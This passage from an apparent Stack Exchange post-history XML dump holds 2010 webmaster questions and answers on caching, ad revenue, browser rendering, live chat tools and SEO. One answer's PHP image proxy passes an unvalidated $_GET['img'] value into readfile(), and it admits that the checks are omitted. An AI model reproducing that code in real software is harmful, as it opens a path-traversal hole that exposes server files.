header(&quot;Pragma: cache&quot;); &#xD;&#xA;        ob_clean();&#xD;&#xA;        flush();&#xD;&#xA;        readfile($file);&#xD;&#xA;        exit;&#xD;&#xA;    &#xD;&#xA;    ?&gt;" />
  <row Id="6408" PostHistoryTypeId="2" PostId="3272" RevisionGUID="13d4f66d-2d6c-4930-b9b8-625b47c776a6" CreationDate="2010-09-24T14:29:11.370" UserId="2067" Text="Surely the biggest variable is the value of the adverts you attract, which depends on your content, and the click-through rate, which depends on your visitors?" />
  <row Id="6409" PostHistoryTypeId="2" PostId="3273" RevisionGUID="49402f93-f081-481d-8eef-3ff2fb96cf03" CreationDate="2010-09-24T14:35:09.813" UserId="745" Text="Without telling us your average revenue (r) per view, how many views per day (v) you receive, and what your expenses (e) are, it's an impossible question to answer. Of course, once you do tell us those things, it's a simple equation: `r*v*d = e` (d = number of days)." />
  <row Id="6410" PostHistoryTypeId="5" PostId="3271" RevisionGUID="307140a5-7cae-4549-a30e-438e6f163919" CreationDate="2010-09-24T14:35:27.110" UserId="1253" Comment="deleted 55 characters in body" Text="One option is to send them through a PHP script and have that script out caching headers for you. It accomplishes the same thing with only a little extra overhead for having to have PHP serve the image as a proxy.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    HTML:&#xD;&#xA;    &lt;img src=&quot;/images/img.php?img=someimage.png&quot;&gt;&#xD;&#xA;&#xD;&#xA;    PHP:&#xD;&#xA;    &lt;?php&#xD;&#xA;        $filename = $_GET['img'];&#xD;&#xA;        $file = '/path/to/file/' . $filename;&#xD;&#xA;        &#xD;&#xA;        // Do verification that the file exists, they're not after any secure &#xD;&#xA;        // files, etc. Not shown here   &#xD;&#xA;        &#xD;&#xA;        header('Content-Type: application/octet-stream');&#xD;&#xA;        header('Content-Disposition: attachment; filename=' . basename($file));&#xD;&#xA;        header('Content-Transfer-Encoding: binary');&#xD;&#xA;        header(&quot;Last-Modified: &quot; . date( &quot;D, j M Y H:i:s&quot;, strtotime(&quot;- 1 month&quot;)));&#xD;&#xA;        header(&quot;Expires: Thu, 20 Sep 2012 05:00:00 GMT&quot;);&#xD;&#xA;        header(&quot;Cache-Control: max-age=2692000, public&quot;); &#xD;&#xA;        header(&quot;Pragma: cache&quot;); &#xD;&#xA;        ob_clean();&#xD;&#xA;        flush();&#xD;&#xA;        readfile($file);&#xD;&#xA;        exit;&#xD;&#xA;    &#xD;&#xA;    ?&gt;" />
  <row Id="6411" PostHistoryTypeId="2" PostId="3274" RevisionGUID="91d7574b-2835-4285-aa26-4f0abe718e4c" CreationDate="2010-09-24T14:37:49.613" UserId="1265" Text="Adobe Photoshop has a pretty good optimizer built in. (Save for web &amp; devices) An older version of it is Adobe ImageReady if you can find it in a bargain bin somewhere." />
  <row Id="6412" PostHistoryTypeId="2" PostId="3275" RevisionGUID="4e58cba4-cd22-4126-aae6-27bdec7a54f8" CreationDate="2010-09-24T14:38:58.397" UserId="745" Text="I don't know about actual performance gains, but it helps browser paint time, which makes the application seem faster to the user. Don't underestimate a snappier UI in terms of how your application is perceived." />
  <row Id="6413" PostHistoryTypeId="2" PostId="3276" RevisionGUID="f32c4ed9-7c6d-48d3-accf-60dc0913bfc4" CreationDate="2010-09-24T14:39:49.690" UserId="2068" Text="How do I get my pages in IE6 and IE7 to render the height like in IE8 and Firefox? right now in both IE8 and Firefox the page dimensions is 1024 x 800 but in IE6 the dimensions are 1024 x 859 and IE7 the dimensions are 1024 x 855." />
  <row Id="6414" PostHistoryTypeId="1" PostId="3276" RevisionGUID="f32c4ed9-7c6d-48d3-accf-60dc0913bfc4" CreationDate="2010-09-24T14:39:49.690" UserId="2068" Text="IE6 and IE7 rendering issues" />
  <row Id="6415" PostHistoryTypeId="3" PostId="3276" RevisionGUID="f32c4ed9-7c6d-48d3-accf-60dc0913bfc4" CreationDate="2010-09-24T14:39:49.690" UserId="2068" Text="&lt;cross-browser&gt;" />
  <row Id="6416" PostHistoryTypeId="2" PostId="3277" RevisionGUID="c2299524-e3c3-44a4-923f-fb7fd4a3aa88" CreationDate="2010-09-24T14:42:40.127" UserId="745" Text="Check out [PNGCrush][1] and [Smush.it][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pmt.sourceforge.net/pngcrush/&#xD;&#xA;  [2]: http://www.smushit.com/ysmush.it/" />
  <row Id="6417" PostHistoryTypeId="5" PostId="3266" RevisionGUID="68bae1c8-7195-4224-ab78-a36df81b0787" CreationDate="2010-09-24T14:44:49.933" UserId="2017" Comment="Added assumptions" Text="What is a rough estimate of how many views/day a site needs to break even on hosting and bandwidth using advertising?&#xD;&#xA;&#xD;&#xA;You can assume:&#xD;&#xA;&#xD;&#xA; - Two Google ads per page.  Low value content (no ambulance chasers here).&#xD;&#xA; - HTML content with fairly low bandwidth usage per page.&#xD;&#xA; - Standard hosting rates." />
  <row Id="6418" PostHistoryTypeId="2" PostId="3278" RevisionGUID="bdf86a49-c642-4dbc-a9e5-4b24fe046d88" CreationDate="2010-09-24T14:45:04.643" UserId="1265" Text="It will help individual browser performance only. It will not boost network utilization in any way. When the browser renders the html, it will begin to allocate and space objects, and if it has explicit instructions on how to allocate the space, the layout parses while the image continues to load in the background. With modern broadband download speeds, this is less and less of a problem, but it is still noticeable. If you've ever gone to a page with a lot of images (http://www.skysports.com/ is an example) that does not explicitly set image sizes you will notice the page jump and skip as images are loaded into the dom and the browser refreshes the interface to compensate for the new size. With explicit image sizing, this jumpy experience is eliminated. In a lot of CMS sites, though, the size of the image can't be explicitly known all the time so this behavior may be unavoidable.&#xD;&#xA;&#xD;&#xA;If you do know the size of the image, it does not hurt to put it in there, though you may see no &quot;real&quot; gain from it either.&#xD;&#xA;&#xD;&#xA;EDIT - as another test, you can try it with 2 different pages using &quot;lorem ipsum&quot; text wrapped around a large image (4mb or so?). Since there is no real way the image can load quickly (unless it is cached), you should notice a difference in display behavior between the explicit and non-explicit pages." />
  <row Id="6419" PostHistoryTypeId="2" PostId="3279" RevisionGUID="311ee434-2d5e-4983-a96a-d2dcb1144ed4" CreationDate="2010-09-24T14:58:54.007" UserId="745" Text="There could be a few reasons for this including padding, margins, and the way that [IE6 treats height as min-height][1] (an article I wrote). Try explicitly setting your padding and margins and using the following CSS:&#xD;&#xA;&#xD;&#xA;    #container {min-height:200px; height:auto !important; height:200px;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.virtuosimedia.com/tutorials/ultimate-ie6-cheatsheet-how-to-fix-25-internet-explorer-6-bugs#min-height" />
  <row Id="6420" PostHistoryTypeId="4" PostId="3264" RevisionGUID="675fe04e-ce64-427e-b2eb-0333bf30bab7" CreationDate="2010-09-24T15:27:17.120" UserDisplayName="Dev" Comment="edited title; deleted 1 characters in body" Text="Where can I find a list of search engine crawler user agents and their domain names?" />
  <row Id="6421" PostHistoryTypeId="5" PostId="3264" RevisionGUID="675fe04e-ce64-427e-b2eb-0333bf30bab7" CreationDate="2010-09-24T15:27:17.120" UserDisplayName="Dev" Comment="edited title; deleted 1 characters in body" Text="I'm trying to follow stackoverflow's approach of using a [white list for the sitemap][1]. I have tried to find an extensive list of search engine crawlers (and other crawlers) to use in my white list but what I have found so far is outdated information (hasn't been updated in years). Is there any place on the net where I can find a regularly updated list that contains the user agent of every search engine crawler along with its domain name (for reverse DNS)?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.stackoverflow.com/questions/33965/how-does-stack-overflow-protect-its-sitemap/33967#33967" />
  <row Id="6422" PostHistoryTypeId="5" PostId="3270" RevisionGUID="f9dcef26-41f1-45e4-ac9c-e78992066062" CreationDate="2010-09-24T15:41:24.070" UserId="233" Comment="edited body; edited tags; edited title" Text="I have some extensive website that I need to analyze the images and see if they can be optimized. Can any one recommend a good program for this?" />
  <row Id="6423" PostHistoryTypeId="4" PostId="3270" RevisionGUID="f9dcef26-41f1-45e4-ac9c-e78992066062" CreationDate="2010-09-24T15:41:24.070" UserId="233" Comment="edited body; edited tags; edited title" Text="What is a good program for optimizing images on a website?" />
  <row Id="6424" PostHistoryTypeId="6" PostId="3270" RevisionGUID="f9dcef26-41f1-45e4-ac9c-e78992066062" CreationDate="2010-09-24T15:41:24.070" UserId="233" Comment="edited body; edited tags; edited title" Text="&lt;images&gt;&lt;optimization&gt;" />
  <row Id="6425" PostHistoryTypeId="2" PostId="3280" RevisionGUID="b09ef807-4a6c-4203-b091-bceaef20c93f" CreationDate="2010-09-24T15:45:04.703" UserId="1265" Text="Seems like a ridiculous name, but we've used [Cute Chat][1] in an Asp.Net environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cutesoft.net/ASP.NET+Chat/" />
  <row Id="6426" PostHistoryTypeId="2" PostId="3281" RevisionGUID="9be865e8-3f80-44ad-b195-de19cb58bad1" CreationDate="2010-09-24T15:48:15.763" UserId="1207" Text="Edit: just realized you wanted a free solution. Sorry, the following is not free&#xD;&#xA;&#xD;&#xA;I've used [LivePerson][1] extensively at two different companies and their support is excellent, the customization capability is excellent, and it's got a good pricing structure that doesn't limit how many operators you have, just how many operators can login at once. And all their customizations generate the javascript you need to plop it right onto your site.&#xD;&#xA;&#xD;&#xA;They have an interesting consumer answer service at www.liveperson.com, but you'll want to go to solutions.liveperson.com instead for using it as a business service.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://solutions.liveperson.com" />
  <row Id="6427" PostHistoryTypeId="5" PostId="3281" RevisionGUID="1e32be33-9858-448c-bbe5-840592e1fae2" CreationDate="2010-09-24T15:54:28.703" UserId="1207" Comment="added 297 characters in body" Text="Edit: just realized you wanted a free solution. Sorry, the following is not free, but paying gets you a whole package with no build time.&#xD;&#xA;&#xD;&#xA;I've used [LivePerson][1] extensively at two different companies and their support is excellent, the customization capability is excellent, and it's got a good pricing structure that doesn't limit how many operators you have, just how many operators can login at once. And all their customizations generate the javascript you need to plop it right onto your site. It also includes reporting and the user interface for operators is great at handling multiple chats at once, or multiple operators at once.&#xD;&#xA;&#xD;&#xA;They have an interesting consumer answer service at www.liveperson.com, but you'll want to go to solutions.liveperson.com instead for using it as a business service.&#xD;&#xA;&#xD;&#xA;I wouldn't consider this for sites with small traffic, though, due to the monthly pricing model.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://solutions.liveperson.com" />
  <row Id="6428" PostHistoryTypeId="2" PostId="3282" RevisionGUID="4b3f6668-e5e1-406c-a354-731783d00ae6" CreationDate="2010-09-24T16:13:50.370" UserId="1064" Text="The question you referenced indicates that the answerer is whitelisting the user agents themselves, *not* the domains or IP addresses associated with particular spiders.&#xD;&#xA;&#xD;&#xA;It appears as though [user-agents.org][1] has an exhaustive list if you plan to work with the user-agent string.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.user-agents.org/" />
  <row Id="6429" PostHistoryTypeId="5" PostId="3256" RevisionGUID="be2f8cde-7aee-4458-8d87-06ce6433945a" CreationDate="2010-09-24T16:58:11.220" UserId="1757" Comment="expand question parameters to be less restrictive" Text="What good live chat/live help solutions are available (for use on a site hosted on a LAMP stack and preferably free)? I'm looking for a way to allow our sales and customer service reps to talk directly with visitors to our site. &#xD;&#xA;&#xD;&#xA;I've looked at phpopenchat, but it looks very unpolished. The only other free live chat app I've come across looked egregious. The aesthetics and UI design alone made me shudder to think what the underlying code might look like. &#xD;&#xA;&#xD;&#xA;This isn't a critical feature, and it wouldn't be hard to code up myself, so I'm not really looking for commercial software or paid services (unless there's a really compelling reason to use them). I'm just wondering if any other webmasters have come across a satisfactory free/open source solution for providing live customer support on their website.&#xD;&#xA;&#xD;&#xA;As a side note, live voice chat would also be an option, but it has to be be designed (or customizable) for customer support rather than a public chatroom.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Looking at the responses, it looks like there probably aren't going to be many free solutions for this type of business-oriented chat solution, so feel free to post answers even if they are commercial solutions that are a good value.&#xD;&#xA;&#xD;&#xA;Also feel free to post any alternate live support solutions (such as the Skype recommendation) that could be in someway integrated with a website.&#xD;&#xA;&#xD;&#xA;This will give me a good lay of the land for what people are actually using for live support, and I think will be more helpful to others reading this question." />
  <row Id="6430" PostHistoryTypeId="5" PostId="3256" RevisionGUID="813f0f60-c56e-43ba-b0a3-211784a0165d" CreationDate="2010-09-24T17:26:07.590" UserId="1757" Comment="revise wording" Text="What good live chat/live help solutions are available (preferably for use on a site hosted on a LAMP stack and free)? I'm looking for a way to allow our sales and customer service reps to talk directly with visitors to our site. &#xD;&#xA;&#xD;&#xA;I've looked at phpopenchat, but it looks very unpolished. The only other free live chat app I've come across looked egregious. The aesthetics and UI design alone made me shudder to think what the underlying code might look like. &#xD;&#xA;&#xD;&#xA;This isn't a critical feature, and it wouldn't be hard to code up myself, so I'm not really looking for commercial software or paid services (unless there's a really compelling reason to use them). I'm just wondering if any other webmasters have come across a satisfactory free/open source solution for providing live customer support on their website.&#xD;&#xA;&#xD;&#xA;As a side note, live voice chat would also be an option, but it has to be be designed (or customizable) for customer support rather than a public chatroom.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Looking at the responses, it looks like there probably aren't going to be many free solutions for this type of business-oriented chat solution, so feel free to post answers even if they are commercial solutions as long as they're a good value.&#xD;&#xA;&#xD;&#xA;Also feel free to post any alternate live support solutions (such as the Skype recommendation) that could be in someway integrated with a website.&#xD;&#xA;&#xD;&#xA;This will give me a good lay of the land for what people are actually using for live support, and I think will be more helpful to others reading this question." />
  <row Id="6431" PostHistoryTypeId="2" PostId="3283" RevisionGUID="840c07c1-c518-4288-a84e-aa1c2c8c53bd" CreationDate="2010-09-24T17:49:48.250" UserId="1979" Text="Maybe a better approach than trying to whitelist every search engine is to go for the big three (Google, Yahoo, Bing) plus possibly Ask (which are known to support sitemaps, too).&#xD;&#xA;&#xD;&#xA;Whitelisting all of them seems to be a long, hard and in the end futile task. You can still log who's banging on the door and expand your list based on that." />
  <row Id="6432" PostHistoryTypeId="2" PostId="3284" RevisionGUID="232abfe3-abb9-47b1-93b1-f51ae9fe60f2" CreationDate="2010-09-24T18:00:42.940" UserId="2169" Text="the website www.pubvantage.com has a permanent redirect to http://exchange.contextweb.com/sellingdesk/pubvantage/.&#xD;&#xA;&#xD;&#xA;The problem is, when a user enters the query +&quot;pubvantage&quot; in google, the site (www.pubvantage.com) displays with the header text of &quot;Ken Lauer.&quot; Ken has nothing to do with the website, and his name appears nowhere in the source code.&#xD;&#xA;&#xD;&#xA;How can I change this?&#xD;&#xA;" />
  <row Id="6433" PostHistoryTypeId="1" PostId="3284" RevisionGUID="232abfe3-abb9-47b1-93b1-f51ae9fe60f2" CreationDate="2010-09-24T18:00:42.940" UserId="2169" Text="Why does the website heading on pubvantage.com display arbitrary text when it is listed in google search results?" />
  <row Id="6434" PostHistoryTypeId="3" PostId="3284" RevisionGUID="232abfe3-abb9-47b1-93b1-f51ae9fe60f2" CreationDate="2010-09-24T18:00:42.940" UserId="2169" Text="&lt;html&gt;&lt;http-headers&gt;" />
  <row Id="6435" PostHistoryTypeId="2" PostId="3285" RevisionGUID="5544a981-5430-4d3a-a68c-e6cc87f53f7e" CreationDate="2010-09-24T18:05:38.847" UserId="999" Text="I have a background that has a top and bottom gradient and I want it to show on a container layer. The problem is the bottom gradient since it has to appear at the very end of the container div. Any ideas? Here's some example code &amp; imgur photo:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;style&gt;&#xD;&#xA;        .container{background: #fff url(images/bg.png) repeat-x;}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;container&quot;&gt;&#xD;&#xA;        &lt;div id=&quot;content&quot;&gt;&#xD;&#xA;            &lt;p&gt;Dynamic stuff goes in here that differs on every page&lt;/p&gt;&#xD;&#xA;        &lt;/div&gt; &#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://imgur.com/XAaIx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The above code only shows the gradient at the top, but is there another way to achieve this effect?" />
  <row Id="6436" PostHistoryTypeId="1" PostId="3285" RevisionGUID="5544a981-5430-4d3a-a68c-e6cc87f53f7e" CreationDate="2010-09-24T18:05:38.847" UserId="999" Text="Top and bottom gradient using CSS" />
  <row Id="6437" PostHistoryTypeId="3" PostId="3285" RevisionGUID="5544a981-5430-4d3a-a68c-e6cc87f53f7e" CreationDate="2010-09-24T18:05:38.847" UserId="999" Text="&lt;css&gt;&lt;html&gt;&lt;website-design&gt;" />
  <row Id="6438" PostHistoryTypeId="2" PostId="3286" RevisionGUID="ff103cdf-d2a1-4292-9edc-9ce3257eb9bd" CreationDate="2010-09-24T18:36:47.753" UserId="1265" Text="You could try something like:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt; &#xD;&#xA;        .container{background: #fff url(images/bg_bottom_gradient.png) repeat-x;} &#xD;&#xA;        .content{background-image:url(images/bg_top_gradient.png);background-repeat: repeat-x;}&#xD;&#xA;    &lt;/style&gt; &#xD;&#xA;     &#xD;&#xA;    &lt;div class=&quot;container&quot;&gt; &#xD;&#xA;        &lt;div id=&quot;content&quot;&gt; &#xD;&#xA;            &lt;p&gt;Dynamic stuff goes in here that differs on every page&lt;/p&gt; &#xD;&#xA;        &lt;/div&gt;  &#xD;&#xA;    &lt;/div&gt; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="6439" PostHistoryTypeId="5" PostId="3286" RevisionGUID="0805d306-6f98-42ad-a3cc-30e65509b1d0" CreationDate="2010-09-24T18:55:52.537" UserId="1265" Comment="added 96 characters in body" Text="You could try something like:&#xD;&#xA;&#xD;&#xA;    &lt;style&gt; &#xD;&#xA;        .container{background: #fff url(images/bg_bottom_gradient.png) repeat-x;} &#xD;&#xA;        .subcontainer{margin: 0 auto;background-image:url(images/bg_top_gradient.png);background-repeat: repeat-x;}&#xD;&#xA;    &lt;/style&gt; &#xD;&#xA;     &#xD;&#xA;    &lt;div class=&quot;container&quot;&gt;&#xD;&#xA;      &lt;div class=&quot;subcontainer&quot;&gt;&#xD;&#xA;        &lt;div id=&quot;content&quot;&gt; &#xD;&#xA;            &lt;p&gt;Dynamic stuff goes in here that differs on every page&lt;/p&gt; &#xD;&#xA;        &lt;/div&gt; &#xD;&#xA;      &lt;/div&gt; &#xD;&#xA;    &lt;/div&gt; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDITTED TO ADD NEW STYLE:&#xD;&#xA;" />
  <row Id="6440" PostHistoryTypeId="2" PostId="3287" RevisionGUID="d2e76957-7551-4801-9847-d6c9b4b69b5a" CreationDate="2010-09-24T19:06:38.100" UserId="2037" Text="You get (basically) no money from adSense if people don't click on your ads, so you also need to estimate the click-thru adsense rate." />
  <row Id="6441" PostHistoryTypeId="2" PostId="3288" RevisionGUID="0fc157a1-413e-4469-a144-64524e581e8c" CreationDate="2010-09-24T19:40:44.380" UserId="1429" Text="Here they are some more:&#xD;&#xA;&#xD;&#xA; - http://www.volusion.com/live-chat/software.asp&#xD;&#xA;   [FREE AND COMMERCIAL]&#xD;&#xA; - http://www.livezilla.net/home/en/&#xD;&#xA;   [FREE]&#xD;&#xA; - http://www.providesupport.com/prices/index.html&#xD;&#xA;   [ONLY COMMERCIAL]" />
  <row Id="6442" PostHistoryTypeId="2" PostId="3289" RevisionGUID="6a662741-504a-479e-8cb4-d5a2dd980564" CreationDate="2010-09-24T21:05:45.003" UserId="1946" Text="Well you obviously need more views per day than Twitter &amp; Facebook a year ago (not sure when they broke through the profit barrier)&#xD;&#xA;&#xD;&#xA;ALternatively you could easily get to $'00s or $'000s per month on free hosting - e.g. a Blogspot or WP.com blog.&#xD;&#xA;&#xD;&#xA;People have TV and Book deals based upon twitter accounts.&#xD;&#xA;&#xD;&#xA;You could easily make a 6 figure income using Blogspot to host a sales page and eJunkie for sales and product delivery.&#xD;&#xA;&#xD;&#xA;With Adsense you can easily have between $0.10 and $100 CPM (per thousand views) even if you only make $0.10 to $0.20 per click.&#xD;&#xA;&#xD;&#xA;My first niche website many moons ago (well 5 years or so) I was making $0.05 to $0.10 per visitor in a gardening niche. So you could break even with paid hosting at 3 visitors per day." />
  <row Id="6443" PostHistoryTypeId="2" PostId="3290" RevisionGUID="fcc9dc4a-3ecf-4ead-9000-250cae04ad8c" CreationDate="2010-09-24T21:17:26.923" UserId="1946" Text="Vimeo is not for commercial use&#xD;&#xA;&#xD;&#xA;Personally for a workable commercial solution I would use Amazon, MaxCDN or Akamai (through VPS.net)&#xD;&#xA;&#xD;&#xA;All 3 have the ability now to lock content to a domain. Amazon you can programatically expire the links and there are plenty of existing solutions to do that in PHP, or as say a full WordPress plugin.&#xD;&#xA;&#xD;&#xA;You would need a way to handle encoding - either desktop such as format factory, or online encoder.com or zencoder.com are good options." />
  <row Id="6444" PostHistoryTypeId="2" PostId="3291" RevisionGUID="90160450-eff7-430c-825f-01c7573ac570" CreationDate="2010-09-24T21:27:23.370" UserId="1946" Text="Akismet has privacy issues, false positives, and is highly recommended by some blackhats I know (so they can spam you more) - go for WP Spam Free.&#xD;&#xA;WP.com stats? seriously? Google Analytics with one of the many plugins combined with maybe Getclicky for live data. Well unless you are just looking at your stats for fluff and don't need to track goals.&#xD;&#xA;Why tweetmeme? These days even they don't recommend their own buttons - far better either topsy or the new Twitter buttons depending on the control you need for redirects and messaging.&#xD;&#xA;&#xD;&#xA;Real essential?&#xD;&#xA;&#xD;&#xA;There is no such thing as an essential plugin other than one of the many backup plugins for when you get hacked. It will happen... plan for it in advance." />
  <row Id="6445" PostHistoryTypeId="5" PostId="3053" RevisionGUID="390fb656-4c79-4213-899d-5c5c8ae70175" CreationDate="2010-09-24T23:09:22.070" UserId="500" Comment="added environment" Text="On the [PeoplePerHour][1] website, If a **Internet Explorer** user toggles the [compatibility mode][2] - they get logged out of the website!&#xD;&#xA;&#xD;&#xA;What are the possible reasons for this?&#xD;&#xA;&#xD;&#xA;I was thinking perhaps the browser is clearing cookies and therefore the users session gets lost. Is this possible (*seems unlikely!*)?&#xD;&#xA;&#xD;&#xA;*Test environment: IE8 on Windows Vista.*&#xD;&#xA;&#xD;&#xA;  [1]: http://www.peopleperhour.com/&#xD;&#xA;  [2]: http://blogs.msdn.com/b/ie/archive/2008/08/27/introducing-compatibility-view.aspx" />
  <row Id="6446" PostHistoryTypeId="2" PostId="3292" RevisionGUID="17eef039-3ee6-420f-96c1-e7f8ed1d1b5a" CreationDate="2010-09-25T07:19:54.480" UserId="2077" Text="I'm starting a site that is similar to a wiki.  The site will have many different unrelated categories, eg: sports, technology, Spanish, etc.  Each category will have many different subcategories.&#xD;&#xA;&#xD;&#xA;What do you think is better for users:&#xD;&#xA;&#xD;&#xA; 1. Having one large site, www.example.com that has all of the content separated into categories, which would be further separated into subcategories.     &#xD;&#xA;**or**&#xD;&#xA;&#xD;&#xA; 2. Having subsites like sports.example.com and tech.example.com and each subsite is dedicated solely to that category. Each subsite would really be it's own site dedicated to the category, and pitch itself as a site where people can go to collaborate on articles about the specific category.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm thinking option 2 has the benefit that users interested in a topic will feel like they have a site dedicated to their interest.  &#xD;&#xA;&#xD;&#xA;What do you guys think is better?&#xD;&#xA;" />
  <row Id="6447" PostHistoryTypeId="1" PostId="3292" RevisionGUID="17eef039-3ee6-420f-96c1-e7f8ed1d1b5a" CreationDate="2010-09-25T07:19:54.480" UserId="2077" Text="Multiple subsites each with their own subdomain vs one larger site with categories?" />
  <row Id="6448" PostHistoryTypeId="3" PostId="3292" RevisionGUID="17eef039-3ee6-420f-96c1-e7f8ed1d1b5a" CreationDate="2010-09-25T07:19:54.480" UserId="2077" Text="&lt;domains&gt;&lt;user-engagement&gt;" />
  <row Id="6449" PostHistoryTypeId="2" PostId="3293" RevisionGUID="9b97fac3-cfe0-4f0c-b0d0-fa9d9d456298" CreationDate="2010-09-25T12:24:59.930" UserId="1979" Text="Just some ideas:&#xD;&#xA;&#xD;&#xA; - Their terms. The links leads to a 404 at the moment so no way to check.&#xD;&#xA; - They may filter everything but traffic from mobile devices.&#xD;&#xA; - Do you really want to see all the bots and spiders?&#xD;&#xA; - You loose many features. HTTP is a stateless protocol. &quot;Normal&quot; GA overcomes this by using cookies. There must be significant differences between the two. For example, a user leaves your site, comes back 20 minutes later. There's no way to tell that whether it's the same user (visit) if you don't have cookies.&#xD;&#xA;" />
  <row Id="6450" PostHistoryTypeId="2" PostId="3294" RevisionGUID="fcc3928b-11d5-4ff4-8076-72554828d8d2" CreationDate="2010-09-25T17:21:06.897" UserId="17" Text="Sticking with one domain can help all the websites increase in page rank. This is why most websites stick with www.example.com/tech instead of tech.example.com" />
  <row Id="6451" PostHistoryTypeId="5" PostId="3294" RevisionGUID="5c954268-5859-4668-90ab-0e7ac379aaf4" CreationDate="2010-09-25T17:26:27.807" UserId="17" Comment="added 181 characters in body" Text="Sticking with one domain can help all the websites increase in page rank. This is why most websites stick with www.example.com/tech instead of tech.example.com&#xD;&#xA;&#xD;&#xA;**example**: http://www.apple.com/iphone/ and http://www.nytimes.com/pages/health/&#xD;&#xA;&#xD;&#xA;Also, marketing one domain can be helpful. Versus trying to push different domains around. " />
  <row Id="6452" PostHistoryTypeId="2" PostId="3295" RevisionGUID="a8845dd7-2963-442a-9d60-9794e74088a6" CreationDate="2010-09-25T17:59:59.580" UserId="2026" Text="I found many sites which are displaying ads from google. While these sites contains illegal, porn, copyright etc contents.&#xD;&#xA;&#xD;&#xA;Google must provide them google adsense id. Then how did they get it?" />
  <row Id="6453" PostHistoryTypeId="1" PostId="3295" RevisionGUID="a8845dd7-2963-442a-9d60-9794e74088a6" CreationDate="2010-09-25T17:59:59.580" UserId="2026" Text="I seen many illegal site comfortable with google adsense" />
  <row Id="6454" PostHistoryTypeId="3" PostId="3295" RevisionGUID="a8845dd7-2963-442a-9d60-9794e74088a6" CreationDate="2010-09-25T17:59:59.580" UserId="2026" Text="&lt;google-adsense&gt;" />
  <row Id="6455" PostHistoryTypeId="2" PostId="3296" RevisionGUID="0148b3d3-5f74-43cc-a257-bcb7fdeea5ff" CreationDate="2010-09-25T18:07:32.323" UserId="2026" Text="If you are using subdomain on your site then it helps you to decrease site loading time since your site contents can be downloaded at client side in parallel.&#xD;&#xA;&#xD;&#xA;It also helps to categories your site contents logically in visitors' view. &#xD;&#xA;For example `webmaster.stackexchange.com`&#xD;&#xA;&#xD;&#xA;People can understand where are they, by looking its first word only.&#xD;&#xA;&#xD;&#xA;Moreover it helps to control url length." />
  <row Id="6456" PostHistoryTypeId="2" PostId="3297" RevisionGUID="60001213-fedd-431b-8aef-0bfa163761f1" CreationDate="2010-09-25T18:43:05.767" UserDisplayName="Fabian" Text="Allow google to index the page which pubvantage.com redirects. It's currently noindex, nofollow. " />
  <row Id="6457" PostHistoryTypeId="2" PostId="3298" RevisionGUID="bf5a1f0d-ebb3-4f54-bbc4-db94a4f19fc2" CreationDate="2010-09-25T20:39:28.707" UserId="2010" Text="I'm looking for a good search engine friendly CMS built on microsoft technology. I know that Magento is maybe the best choice if you are on a LAMP stack but now i'm forced to make my choice in the microsoft realm. &#xD;&#xA;&#xD;&#xA;Here's some candidates CMS that seems to integrate some search engine friendly features: &#xD;&#xA;&#xD;&#xA;- ASPdotNet Storefron&#xD;&#xA;- Znode&#xD;&#xA;- Able Commerce &#xD;&#xA;&#xD;&#xA;Anyone have experience with them or can suggest other candidates? &#xD;&#xA;" />
  <row Id="6458" PostHistoryTypeId="1" PostId="3298" RevisionGUID="bf5a1f0d-ebb3-4f54-bbc4-db94a4f19fc2" CreationDate="2010-09-25T20:39:28.707" UserId="2010" Text="Good search engine friendly  (e-commerce) CMS on Microsoft technology" />
  <row Id="6459" PostHistoryTypeId="3" PostId="3298" RevisionGUID="bf5a1f0d-ebb3-4f54-bbc4-db94a4f19fc2" CreationDate="2010-09-25T20:39:28.707" UserId="2010" Text="&lt;seo&gt;&lt;cms&gt;&lt;microsoft&gt;" />
  <row Id="6460" PostHistoryTypeId="2" PostId="3299" RevisionGUID="4d1ea37a-3f80-4054-9764-619ab825ac58" CreationDate="2010-09-25T20:42:41.257" UserId="823" Text="[nopCommerce][1] is rather nice, has many built in SEO feature, plus is open source so you can customize as needed. Very feature rich and has recently release .NET 4.0 version. Not positive if making use of the routing engine, but could extend rather easily I am sure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nopcommerce.com" />
  <row Id="6461" PostHistoryTypeId="2" PostId="3300" RevisionGUID="51381563-d905-4120-9830-6e2eb3163d78" CreationDate="2010-09-25T21:51:08.650" UserId="288" Text="I've used [Kentico](http://www.kentico.com/home.aspx) in the past. It's well supported and generates SEO friendly pages. It generates URLs from the page titles and doesn't use parameters [from here](http://www.kentico.com/getdoc/32a58a34-7ccf-405b-9683-c2d77ba217f5/Friendly-URLs-and-SEO.aspx)" />
  <row Id="6462" PostHistoryTypeId="2" PostId="3301" RevisionGUID="2ed3d0a9-b569-40b6-ab23-290cde4adee3" CreationDate="2010-09-25T22:00:24.923" UserId="2081" Text="Does is matter if I use this URL for a PDF attached to a posting:&#xD;&#xA;&#xD;&#xA;    www.example.com/slug1/posting/xyz.pdf&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    www.example.com/downloads/xyz.pdf" />
  <row Id="6463" PostHistoryTypeId="1" PostId="3301" RevisionGUID="2ed3d0a9-b569-40b6-ab23-290cde4adee3" CreationDate="2010-09-25T22:00:24.923" UserId="2081" Text="File Download URL - Does is it matter for Search Engine Ranking?" />
